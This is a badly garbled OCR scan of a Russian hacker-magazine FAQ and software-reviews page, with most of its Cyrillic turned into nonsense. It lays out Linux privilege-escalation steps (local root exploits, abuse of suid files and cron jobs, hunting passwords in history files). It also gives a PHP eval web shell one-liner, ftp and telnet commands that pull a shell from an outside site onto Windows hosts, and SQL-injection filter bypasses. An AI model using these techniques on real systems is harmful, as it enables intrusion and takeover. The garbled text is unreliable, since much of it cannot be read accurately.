5.CMOTPWUM Ha CKOLLKO netcat u HacnaxaaeMmcs
WennoM.

Teneps, Koraay Teba ecTs MHTEPaKTUBHLIN W
Ha CHCTEME, MOXKHO NoMpoboBaTa NMPUMEHNTL
SAepHbIe SKCTNCWTLI:

1.¥Y3Haem Bepcuio sapa: uname -a;

Z.Y3Haem sepcuio u uMs aucTpubytuea: cat/
etc/*release*;

. WaemHa bilo//
ULLEM Hy>KHEI HaMm local root exploit;

il n

arch.php u

4. Cobupaem skcnnonT: gec -0 exploit
exploit.c (3a4acTyio B KOMMEHTaPWAX B
MCXOAHWMKSX CNORTE MOTYT BbiTh YKa3aksl
fgononHuTensHele gnaru gns cbopkn — He
nponycTu uxl;

5. MNocne cBopki 3KCNNoHTa 3anycKaeM oHbIiA: ./
exploit;

&.B nyuiwem cnyuae racnaxpaemcs uid=0, gid=0,
B Xy/LLEM — CMOTPUM Janblle.

Ecnu c AnepHbIM 3KCNNOMTOM HE NOAYYMNOCs, TO:
1./3y4aem cnrcok 4eMoHoB, KoTOpbie KpYTATCH
Ha cepBepe

pPS —aux — CIKCOK NpPOLIeCCOB
which bin_file — cMoTpUM, €CTE K
DHDE!I\EHEHH]:UE EI{HEPHHK Ha cHCcTeMe
bin file --version (umm -v) — Bepcus
buHapHrKa

ls -la /bin /home /usr/bin fusr/
sbin /usr/local/bin /usr/local/
sbin — BbuHapHUMKM, TIPUCY TCTBYDIUE Ha

cHCcTEeMEe

2 NoemHa m
3KCNNOWTOM NOA HYXKHbIKA A8MOH;

vOrm.ce

(1) 38 COOTBETCTBYIOL MM

Z.CobupasM, 3anyckaem CNNonT M HAaCNaxaaem-
cA npasamu pyta/cepsuca.

Ecnu He Noay4mnoch ¢ 48MOHOM, TO TBOW Aafs-
HEWLWWI NYTE — CYyMAHBIE VW TYWaHbIe Gainbl.
Wrak, cyun [oT cokpalugHHoro setuid] — npasa
Ha BLINONHEHWE OT UMEHW X038WUHa, FyWsL — C
npaBamMu rpynnsl.

1. Mwem Takme gains:

find / -type £ -perm -04000 -1s
find / -type £ -perm -02000 -1s
locate *.pl|grep suidperl

2. CMOTPUM, KaKKe 3 Hal leHHbIX Gainos
LOCTYMHGI HA 33MWUCk, HAaMpKUMEp:

-rwsrwxrwx 1 root petya 135 anp 17
18.40 filel.php

-rwsrwxrwx 1 root petya 135 Anp 17
18.40 filefl.sh

—rwsrwxrwx 1 root petya 135 Aup 17
18.40 file

-rwxr-sr-x 1 petya root 135 Anp 17
18.40 file2.php

-rwxr-sr-x 1 petva root 135 Anp 17
18.40 file2.sh

-rwxr-sr-x 1 petya root 135 Aop 17
18.40 file2

B naHHoMm cnyuae — nepebie 3 daitna 4ocTynHbl
H& 3anuch 1 MeloT suid BuT, To eCTb Thl MOXELb
NOACYHYTH MM Ha BbinonHeHwe bash/php koa ot
MMeHu o3epa root,

Cneayrolype 3 daitna — ynerbl rpynnel root. OHK
HELOCTYMNHBI Ha 3anyWCh, HO BCE PEBHO MOXHO
nonpoboBats NOACYHYTL MM CBOI KO, MPoYur-
TaB, uTo oHU fenaioT (¢ nomollbio MaHos, nubo
oTcneans nercTsus buHapHuka: strace ffile2,
strings ./file2).

HonycTumM, c cymarnkamm Tebe He noseasno,
TOrAa TBOW NyTo — N0rU, KOHGUrK 1 baka-

Mbl, B KOTOPbIX MOXET CNYHalHO 3aTepaTbCA
MHTEPECHLIA N3poab 0T Kakon-HWbyab y4eTHON
3anucu (Hanpumep, B .bash_history mHe He-
CKOMbKO pa3 BCTREYa MCh HEBEPHbIE NOMNBITKH
BBOAA Napons oAbl su v sudo, Ha ocHoBe
KOTOPBIX § CMOr BBIYMCINTE BEPHLIA PYTOBBINA
napons).

MckaTb MX MOXHO C NOMOLLbIO CEAYIOULIMX
KOMaHJ1:

locate uTo-TO

find / -type f -name "uro-TO"
06614HO ULLYT Mo WabnoHam:

.htaccess
.htpasswd
*history*
falstatined
*backup*

HakoHel, ecny Tebe cHOBa He NOBE30, CYWecT-
BYET elle OAWH 3aMeuaTensHbli cnocob — ataka
uepescron:

1. Muiem dainel crontab;

Z.CmoTpum, kakne dpainel NoCTasneHbl Ha
3aNYCK KPOHOM;

., CMOTPUM, AOCTYMHbI KM Ha 3aNNWCh 3T Gainbl
M YTO OHW, COBCTBEHHO, ABNAKT:

4.MbiTaeMcs nepe3anncaTb MX UK BHEPWTb B
HUX CBOW KOMEH/LbI.

Bce onucanneie cnocobsl — Hanbonee pacnpo-
cTpaHeHHble Al NOAYYeHWi root-npusmnerui
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Ha CUCTEME, MCMOMNb3YH MX FPAMOTHO U HUKOr4a
He 3abelBai noaYvLLaTE cnesl cBoero npebsisa-
HUWs Ha cucTeMe ;)

0: Kak 3anutk Wwenn Ha BuHAe? Beab TaM HeT MOMX
nwobumbix wget neurl:'l.

A:[lna tBoero cabxa Ha BUHAE CYLLECTBYET He
MeHbLLUEE KONTMHYECTBO EapHaHTOB, 4em B HUKCax.
CMOTpU HEKOTOPbIE U3 HUX:

1.3Hakomblit Tebe no Hukcam echo —

echo "<? eval ($_REQUEST[cmd]); 27>
> shell.php

2. bananbHeii ftp —

>ftp

ftp> open localhost
Connected to localhost
Microsoft FTP
User (x.x.x.x:(none)): x
230 User logged in, proceed.

ftp>get http://site.com/shell.txt
Z Jlobumblid Toboi telnet —
telnet site.com 80 —-f shell.php

GET /shell.txt HTTRP/1.1
Agcepe: E/F
Accept-Language: ru
Host: site.com

Proxy-Connection: Keep-Alive

@: Hawen sql-uHbeKyuo, HO 3nbie aAMUHLI NoCTa-
BUSIM Ha punbTpauuio Ha npoben. CyulecTByioT nu
aHanoru npobena B sql-3anpocax?

A: Eule kak cyuiecTeyoT! Bot Hanbonee yacto
npuMeHsemMble cnocobsl Ang 3ameHsl npobena:
1.+ vnn %2B;

2.Tabynauns " " unum %09;
Z.Bo3spatkapetkn " " unn %0D;

4. nepesop ctpoku %0A;

5. KOMMEHTapWiA /**/

&. ckobku: select(1)from(users)wherelid=1]

Q@: Cnbiwan, uro B MySQL Bo3MOXHO paspeneHue
3anpocoB 4Yepes «p». PaccKa)kKu, KaK 3To BO3MOXK-
Ho?

A: [leicTBUTENBHO, NOAAEPXKKS HECKONbKUX
3anpocoB B MyCKyn oCyLLecTB1Ma NMpn HEeCKONb-
KWX YCNOBUAX:

1.Bepcua MySQAL>=4.1;

2. [lna nopknioyerns kK Daze QaHHbLIX MCNOb3Y-
etca dyHkuua mysgl_real _connect() c napamet-
pam CLIENT_MULTI _STATEMENTS.

Ecnu Ha Bbixofe DyaeT HeCKOJIBKO pe3ynbTa-
TOB, TO HGOBXO,D,MMO MCMNoNL20BaTb NapamMeTp
CLIENT_MULTI_RESULTS, a nepexnio4athcs
MEXK[1Y HUMW MOXHO C MOMOLLLBIO DYHKLM
mysql_next_result().

0: Kakum o6pa3oM B KOMAHAHOM CTPOKE MOXKHO
paborars ¢ PostgreSQL?
A: Quens npocto! [lna npocTeiiliero BeinonHe-
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Hns SAL-3anpocos Tebe HaA0 3aN0MMHNTLCA B
MHTEPaKTUBHOM LLIENAE B KNWUEHT quLZ

psgl -d base -U py_admin -W pg_

admin_password
Hamnuts baswl postgresql MoxHo Tak:
pg_dump dbname > dbname.sgl
A BoccTaHoBUTL COXpaHeHHylo basy Tak:
cat dbname.sgl | psqgl dbname

B oBoux cnydasx cuctema nonpocuty Teba
napons,

Q: Bnarogaps 8aM A Hayan nucatb Ha Python'e.
MpocTbie CKPUATLI, HANpUMep, AR aBTOMaTM3a-
UMW NOJYUCTKK NTOTOB A Y)Ke nerko nuuy, Ho sce
Yyalle NOABNAETCA XKenaHue nepesecT Ha Python
v ceou PHP-npoexTbl. Mogckaxmu, kak Hanbonee
npaBunbHO nKucaTh Be6-npunoxkeHus Ha Python?
Kak ux npuKpyTUTL K cepeepy?

A: Moxanyit, camblil NpoCcToM 1 BO MHOTOM OfIUH
M3 CaMblX MPaBuUIIbHbLIX BAPUAHTOB — UCNONb-
30BaTh XOCTUHT, KOTOpPLIW noagepxueaeT WSGI
[Web Server Gateway Interface]. «Buckn» —
3TO CreuuanbHbIi CTaHaapT B3aUMOAENCTBUS
Mexay nporpaMMoit Ha Python, BeinonHsaio-
leiica Ha cTopoHe cepeepa, u caMum Beb-cep-
BepoM, Hanpumep, Apache. WSGl onuceoisaet
KOHKPETHblE NpaBrna Toro, Kak AONXKHb
B3aMMOfeNCTROATE Mexay coboil seb-cepsep
1 Beb-npunoxenue. Ha npakTuke — aTo npocTo
onuncanue GyHKLUW BEI30BA NPUoKeHus abc-
TPakTHbIM cepBepom: GopMaTa NnepefasaeMblx
napameTpoB v GopMaTa Bo3BPaTa 3HAYLHUI
3TON GyHKUMW. [TpunoxeHune, HanucaHHoe

Ha WSGI, He 3HaeT kTo ero BeI3Ban, 1.e. 414
Hero abconioTHO BCE paBHO, 3aNyLLEH JIW OH Ha
mod_python noa Apache nnu kak FastCGIl, nnu
kak CGl. MpunoxeHue u cepeep BbIAENFIOTCA B
pasHble abcTpakuuy.

[TOMUMO 3TOrO CTAHAAPT OMUCHIBAGT TAK Ha3bl-
saeMble middleware-KoMNoHeHThI, NpeaocTaB-
nawlMe nHTepdeinchl kak NpruaoxeHunio, Tak

u cepeepy. To ecTb Ans cepeepa middleware
ABNASTCA MPUNOKEHWEM, 8 ANFA NPUIOXE-

HWA — cepBepoM. 3T0 NO3BONRET COCTABNATH
«uenodkn» n3 WSGI-cosmectumelx middleware,
Kaxas M3 KOTOPbBIX BHIMONHAET CBOIO HYHKLMIO
[banaHcuposka Harpysku, obpaboTka ceccwii,
apTOpU3aLNIA N T.A.)

0: Mopckaxu, xopowwii ckavep Bluetooth-ycr-
poiicTe B 3¢upe. HeM Gonbllie 0H MOXKET BLIAATL
uHhopMaLun — TeM nyyie.

A: Ha camom nene, HUWYero He CTouT Hanw-
caTh Takoi ckarep camomy. [pumep npo-
cToro ckpunTa Ha Python Thi MoXelwb HanuT

B OJHOMW U3 cTaTel CKBOBHOFO ( xakep

e/xa/104/030/1. asp). Bnpodew,
ecTb HamHoro bonee npopaEOTaHHme YTUAKTDI,

\‘r\w,.,'\\

qoogle

Hanpumep, ckadep Haraldscan (code

can). HanucaHHslil Ha nuToHe
cucnonb3osanunem bubnuotekn Pybluez, ox

com/p/haralds

GoicTpo BoigaeT MAC-agpeca scex HaxoaaLmMxcs
B OKpYre yCTPOWCTB, UX TUM, 8 TAKXE NbiTaercy
ONpefenuTe Mo Maky NPOU3BOaMTENS.

0: Xouy HanucaTk cKaHep besonacHocTH AN
3neMeHToB, HanucaHHbiX Ha Flash. Mouckan B k-
TepHeTe 1 Hu4ero nogobHoro He Hawen. OueHuTe
upeo.

A: Criopy HeT,Mies xopolla, a BOT IyiMilb

Thi He axTit :). C peanu3aymneil Tbl caMyio
ManocTk 0Mo3fasn, NoToMy H4To § BCAOMHIK, Kak
MUHUMYM, HECKONBKO CNeLan3npoBatHblix
ckaHepos ANA Tex aneMeHToB Beb-caiTos,
KOTOpbIE HamnwrcaHHbl Ha Flash. Pebara uz HP
Web Security Research Group pa3paﬁoTann
ymnmy HP SWFScan !n

,D,EKOMI'II/IJ'WIpyeTSWF ¢amnbi W3BNeKaeT
Bce cueHapuu Ha ActionScript, nocne vero
aHaNU3upyeT KOS B MOWCKE NOTEHLWaNLHO
y39BMMbIX MeCT. [IpUATHO, 4TO, NOMUMD 3TOTQ,
SWFScan npefnaraet BapuaHT ucrpasneHus
owmubrn.

0: EcTb BO3MOXKHOCTb Nony4uTs becnnatHywo
BUPTYaNnbHYIO MallMHY B OHOM U3 AaTaueH-
TpoB. Pecypchbl ByayT cMNbHO OrpaHu4eHsl,
no3ToMy BOnpoc: 4To Booblye c Hel MOXHO
cpenartb?

A: Camas bonbwasn npobnema bonbwuHCTBE
BUPTYaNbHbIX MALIKMH — 3T0 NPOU3BOANTENb-
HOCTb INCKOBOW nogcucTeMbl. Ecnu uro-To
paboTaeT c HDD, To pabotaer MmeaneHHo.

C 4pyroi CTOPOHLI, BCNW NPOFrpaMMa He
BLIMONHAGT OflepaLunn BBOAA-BbIBOAA, TO
WCMONb30BAThL €€, JaXe B paMKax BUPTYaNb-
HOW MaLWHBL, MOXHO HA MONHYIO KaTyuiky. [o-
HATHO, 4TO PECYPCOEMKUE 33341 BUPTYanke,
CKOpee BCEro, He NoTAHYTL, a BOT, HANpuUMep,
paboTy ¢ ceThio — 3anpocTo. Ha ofrom u3
MOWX BUPTYaJibHbIX CREDBEPOB A MCNoNb3yto
HECKONBLKO NTMHYKCOBbIX YTUANT A5 MapLi-
pyTu3aumn. A Ha ApyromM — WHCTPYMEHT Ans
banaHcMpoBKW Harpysku Ha Beb-cepeepsl
HAProxy (hapraxy. lwt.eu) v cpeacTso ans
MOHWTOPWHIa ceTeso akTuBHocTy Cacti

(s

acti.net).

0: Kaxk cgaMnuTh cBoM TpaduK, nepepaBaeMbliii
noSSL?

A: Tebe nomoxet ytunuta SSHole [thekonst.
net/ru/sshole], 9ta Hebonbwada nporpamma,
KOTOPaA MOXKET MPUIrOAUTLCS AN OTJ3AKU NPO=-
TOKONOB, 3alWIWEHHbBIX C NoMolbo SSL. Mpw
3anycke OHa XAET CoefMHeHNs Ha 3a[laHHOM
NOpTy, @ 3aTeM, NPY NOJTYHeHUW BXOASLLETO
coefUHEHWA OT KIWeHTa, COegUHACTCA C Opy-
rMHanbHbIM cepeepoM 1 paboraeTt npoapayHo
kak npokcu. OTaKYmMe B TOM, 4TD BECh TpadUK
KonupyeTcs NokansHo Ha stdout. SSHole
MoxeT 06pabaThiBaTh HECKONbKO CORIMHEH U
OAHOBPEMEHHD. 3T
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ABBV\' FineReader Onllne

Onsa pacno3HaBaHuA
TEKCTa

TR
ABBYY FineReader

FINEREADER ONLINE
finereaderonline.com

CT C OTCKAHWPOBAHHOTO OKYMEHTa MHe TpebyeTcs He-

Pacno3HaBaTtb T

YacTo, HO BCAKKMI pas, KOrAa 803H1KaeT Takan HeOﬁXO,ﬂHMOCTb. NPUX0ONTCA

TPaTWTL YiAMy BpeMeH 1 Ha nouck pucTpubytiea Finereader'a, ero 3akadqky u
ycraHoBky. Tenepb xe, HakoHeL-To, MOXKHO BOCTIONb30BATLCH OHIaHH-Bep-
cuvel 3Toro 3aMedaTensHo npodyxTa. PacnosHasaHWe TeKCTa oCyLLecTBAA-
eTcsl ¢ noMolLbio Tex xe camsix OCR-TexHonorui, KaTopsle MCNons3yleTcs

B AECKTONHOM Bepclu nporpammbl. FineReader Online coxpaHsaeT cTpyk-
TYPY OTCKaHWMPOBAHHbIX HAOKYMEHTOB W MO3BONAET COXPaHNTb pesynbraT B
Microsoft Word, Excel n apyrue popmatsl. BagokHe NnpuaTHO, 4TO BO BpeMs
GQTB‘TE‘CTHPOEBHMH CcepBKlcCa nnaty 3a NCrnons308aHKUe HMKTO cTebs He Bo3b-
MET, NpPaBLa, pacnoaHaTL Thl cMoxelwb nuils 10 cTparuL B AeHs

F apper v ey

e ot ek S5 ot et i

g

4N npeepaLLeHns
| noboro caita
B R55-chup

DAPP FACTORY

www.dapper.net/dapp-
factorv ISP

.5 HALWEN Ero HeJaBHO W yoKe 3Ha N5 HEro Maccy
.RSS-¢dup, Beb-cepauc

Hepea HO KpyTO¥ ’f’
npumerennin. Dapp Factorywpespauaernmom CalTB..

WK BUKET Ha pabounii cron. CHavana c NoMeoLLsbio cneuyansHoro MacTepa

Thl OTKPbIBAELLE HYKHBI caiiT (MycTh 370 Byaet nowck no Broram B Axaexce],
3aTeM NepexoauLLb TaM B HyxHoe Tebe MecTo, BBOAWLLb B Cryqae Heobxoau-
MOCTM aHHbIe B hopmax [ckakewm, «xypHal xakep» B cTpoke nouckal, nocne
Yeroyka3biBaellb (B HALLIEM Clydae Ha CTPaHWLEe C Pe3y5TaToOM noucKal, kakue
AaHHbIE Tebs UHTEPECYIOT. ,[LOCTEITO‘—{HO KNWMKHYTb Ha OJWH 13 MOBTOPSAIOLLNXCA
anemenTos — Dapp Factory cam NpoaHanuaupyeT cTpaHuLly 1 BsibepeT Bce aHa-
NIOTUYHBIE NaHHbIE. Tak Mbi nerko nony4aeM aeToMatu<eckh COCTEIBJ'IH\OU_LMI:‘!CH
RSS-dup, cocTaBneHHbIR U3 aKTyasHLIX YNaMUHaHWi B Bnoraxkyprana
«Xakep». B RSS-dua MoxHo odopmuTs nobsle garHele 1 ¢ nioboro seb-caita
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ersicns and missing securty |
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Start Seap

Scan Optians:

Programs / Result Version Detected, Status
| i - X
| This instaliation of Adobe Reader 93¢ 1% inwrs e and patentially exposes your sysiem ta security

R

lied a0 your sysam 2 9.0.137.0, hows
= 9.0.246.0

Update Instructions:

R el o i
@ Fies Aczbe Amader §.0Reader AreRET axe

a x

7301 smmecuire puses your system (s security

o syser 4 262140, hnisess e s sched ek alesued by e
aniines. 5 7.64.17.7

Update Tnstructians:
Dounicad

Tnstalied on Yo
Crigrogrem Fles:

SECUNIA 0NL|NE
SOFTWARE
INSPECTOR
secunia.com/
vulnerability scanning/
online

4
A

nuty PS| — pa3paboTky ussect-

HOWM 33NaAHOM KOMMaHWK, 3aHuMaloLenca MHdopMaumoHHoi BezonacHoc-

ThHO. E,EI,MHCTEEHHE!H 3afaua 3TON TYN3bl — NPOBEPUTE BECH YCT AHOBNEHHbIN
codT U BLISBUTL TE NPOTrPaMMbl, 4718 KOTOPEIX HeoBXo4MMO YCTaHOBUTL 06-
HoeneHus. [puuen ocobeHHLIA yNop fenaercs Ha HeobxogumMocTb annenTa B
ciydae obHapyxeHus KpuTuYeckmx yazsumocTei. OkassiBaeTcs, B apcenane
KOMMaHWK CYLECTBYET OHNANH-CEPBUC, CNOCODHBIM BoINONHWTL aHam0-
FTMYHYK NPOBEPKY NPAMO B 6pay3epe. E,D,MHCTBE‘HHb\M YCAOBWEM ABNACTCA

YCTaHOBNEHHAA Ha KOMMbloTepe Java.

ANA 3aTPY3KN Yero YrofgHo,
KOTrAa YrofHO 1 rae yrogHo

NETBOOT.ME
netboot.me

H-Cepsucom Helb3s BOCNONL30Eal bCAB 6pay3epe 3atootcrona Tl

MOXKELLIb 33Ka4aTb HeBoNbLIOA 3arpy30uHbIF 06pas v 3anmcars ero Ha CD/DVD unm
USB-dneluky. 3arpyausLumcs cTakoro 06pasa 1 npy Hanuumm nocTosHHoro wired-
VHTEPHETA, Thl MOXELLL NPSMO 113 NOABMBLLIMACH 0D0NDY KK 3aNYCKaTh paaHbIe Npn-
noxeHus (BToMYucne Ans BOCCTRHOBARHYA ChCTeMbI] W faxe AncTprbyTiek Linux
1 BSD. Obonoyka cama NoakaumMBaeT c el 11E HyKHbIe balinbl 1 3anyckaeT
O, 4T0 Thl BbiBepeLLb B 3arpy30HHOM MeHI0, [TPUHEM Tsl CaM MOXKELL s OTKOHOM Y-
pUpoBaTs 080Ky, CO3AAB aKKAYHT Ha CalTe, U faxe NoBaBnTL B HETO HYKHBIE
NPUNGKEHUA W AMCTPUBYTHBSI, eC/IM X TaM Mo yMonyakuio Het. Cynep sews!

XAKEP 10 /130/ 09



